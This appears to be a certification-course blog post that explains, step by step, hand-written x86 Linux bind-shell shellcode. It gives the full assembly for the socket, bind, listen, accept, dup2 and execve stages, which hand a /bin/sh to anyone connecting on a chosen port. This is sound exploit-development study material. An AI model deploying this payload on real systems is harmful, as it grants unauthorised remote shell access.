This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to craft my own version of linux/shell_bind_tcp. This means that our shellcode simply opens up a port on the target host and returns a shell on the assigned port.
How it works
To understand how it works, let’s break it down to steps:
- Create a socket file descriptor that we can use for communication
- Bind address and port to the socket file descriptor
- Listen on the defined socket
- Accept incoming connection(s)
- Connect stdin, stdout and stderr to socket
- Execute /bin/sh
For the embedded code, I removed most of the inline comments. If you want to check out the full source code with all the comments, feel free to do it on my Github.
The first step is to initialize the registers to make sure that we start from a clear state when the shellcode is executed. Why? Because there could be some leftover data remaining in the registers, which can lead to unexpected behaviour. I XORd the EAX register with itself and moved it’s value into the other registers. You can also XOR out the others or instead of moving POP a 0x00 value from the stack.
_start: xor eax, eax mov ebx, eax mov ecx, eax mov edi, eax
Next, we need to create the socket file descriptor. For this, I used the socket() syscall with the SYS_SOCKET socket call. This creates a socket file descriptor and gives back the file handler as the return value. My favorite reference for syscalls is syscalls.kernelgrok.com which shows what each register needs to contain for the given syscall. Upon looking at the reference, we can see that for the sys_socketcall we need to set EAX to 0x66 (102), specify the call in EBX and pass the references in ECX.
For the first socket call (SYS_SOCKET), I needed to specify the domain (protocol family aka IPv4) AF_INET - 0x2, the type (TCP) SOCK_STREAM - 0x1 and the protocol, which in this case is 0x0 as we accept any protocol. To set up the call, I first moved 0x66 into the EAX register for the sys_socketcall, then I incremented the EBX register by one to contain the value of the SYS_SOCKET call. Then I pushed the value of the arguments in reverse order and stored the address in ECX. ECX was XORed out from before so it contained 0x00, EBX is 0x1 because of SYS_SOCKET so this was used for the type argument, while for AF_INET I pushed 0x2 byte on the stack.
socket: mov al, 0x66 ; 102 sys_socketcall inc bl ; SYS_SOCKET 1 push ecx ; 0x0 - any - int protocol push ebx ; 0x1 - SOCK_STREAM - int type push byte 0x2 ; 0x2 - PF_INET/AF_INET - int domain mov ecx, esp ; store argument address in ecx int 0x80 ; sys_socketcall
After I created the socket, I needed to bind the socket to a port and address. For this I used the same socketcall() syscall as before, but now with the SYS_BIND function call. I first saved the value of EAX into ESI as it contained the file descriptor that the socket call returned, then I moved the value 0x66 into EAX for the socketcall and 0x2 into EBX for SYS_BIND.
The arguments of SYS_BIND is a tad more confusing as the function call requires the sockaddr in a struct format. I first pushed 0x00 on the stack, then 0x5c11 for the port (network byte order), 0x2 for sin_family - AF_INET, byte 16 for the addrlen and the ESI register as sockfd. After setting up the arguments, I moved ESP into ECX and called the syscall interrupt.
bind: mov esi, eax ; mov file descriptor from eax into esi after syscall mov al, 0x66 ; 102 sys_socketcall - eax was overwritten by the file descriptor pop ebx pop edi xor edx, edx ; xor out edx push edx ; struct in_addr 0.0.0.0 push word 0x5c11; port 4444 in network endian format push word bx ; 0x2, sin_family - AF_INET- bx same value as SYS_BIND push byte 16 ; socketlen_t addrlen 16 bit push ecx ; push sockaddr pointer to ecx push esi ; int sockfd mov ecx, esp ; store argument address in ecx int 0x80 ; sys_socketcall
Nothing exciting happened here, I moved 0x66 into EAX for sys_socketcall and 0x4 into SYS_LISTEN for the function call.
listen: mov al, 0x66 ; 102 sys_socketcall mov bl, 0x4 ; 0x4 - SYS_LISTEN pop edx ; fetch sockfd from stack int 0x80 ; sys_socketcall
SYS_ACCEPT requires a similar argument like SYS_BIND, but as we are accepting connections from anyone, I had a much easier time setting this up. I XOR’d EAX and pushed it’s 0x00 value on the stack twice, first for the addrlen and then for sockaddr. After that I set up the interrupt for the syscall: 0x66 -> EAX, 0x5 -> EBX. The file descriptor is required for the function call so I pushed it on the stack and initiated the interrupt.
accept: xor eax, eax ; null out eax so we can push nulls push eax ; socklen_t *addrlen => null push eax ; sockaddr *addr => null mov al, 0x66 ; 102 sys_socketcall mov bl, 0x5 ; 0x5 SYS_ACCEPT push edx ; push sockfd to stack for accept() mov ecx, esp ; store argument address in ecx int 0x80 ; sys_socketcall
In this section of the shellcode we bind together stdin, stdout, stderr and the socket file descriptor. I first swapped out EAX and EBX, so EBX points to the file descriptor. After that I zeroed out ECX as a start value for the loop.
duplicate: xchg eax, ebx ; move fdescriptor from accept into ebx for oldfd xor ecx, ecx ; zero out ecx for counter
The loop portion of the code moves 0x3f into EAX, calls the interrupt, increments ECX (loop counter), compares ECX with 0x3 and jumps back to the start of the loop if ECX is not equal to 3. What this means in practice is that it calls the dup2 system call on our socket with stdin, stdout and stderr.
dup2: mov al, 0x3f ; int dup2 - 63 in hex int 0x80 ; dup2 syscall inc cl ; increment loop register cmp ecx, 0x3 ; compare ecx 0x3 jne dup2 ; if ecx != 3 continue looping
In the last part of the shellcode, we spawn /bin/sh. The code is straight out from the previous execve stack exercise without any major changes. We need to push //bin/sh0x0 onto the stack for EBX, the memory adress of //bin/sh,0x0 for ECX and 0x0 for EDX.
execsh: xor eax, eax ; null out eax push eax ; null byte push 0x68732f6e ; hs/n push 0x69622f2f ; ib// mov ebx, esp ; move stack pointer into ebx push eax ; push another null for the sys argv mov edx, esp ; sysargv arguments - address as above, but now with extra null bytes push ebx ; push address of the program name -> //bin/sh0x00 mov ecx, esp ; arguments mov al, 11 ; execve syscall int 0x80 ; call execve
Here is the graph call for the shellcode. As libemu crashed on my machine every time, I had used radare2 and Cutter to export the call graph.
Launching the shellcode on port 1337 in the compiled C test program and connecting to it with netcat.
I also made a short shellcode generator script in Python3 to make custom port payloads easier. It can be found on my Github repository. Using it is really easy, it takes one argument (port) and echoes out the modified shellcode to stdout. The way it works is very simple, it transforms the port into hex and replaces the port in the hardcoded shellcode. There are a few validation rules, but doesn’t check for null or other badchars. I plan to make a Python exploit library that will do it for me automatically, but until then manual verification is required.
I learned A LOT during this assignment, I spent long-long hours duckduckgoing (sorry!) and figuring out things, but only a couple of hours with actual coding. I feel like this assignment would have been better with a few pointers/references for those who don’t know in-depth Linux. Regardless of this, it was a challenge and I’m happy that I did it.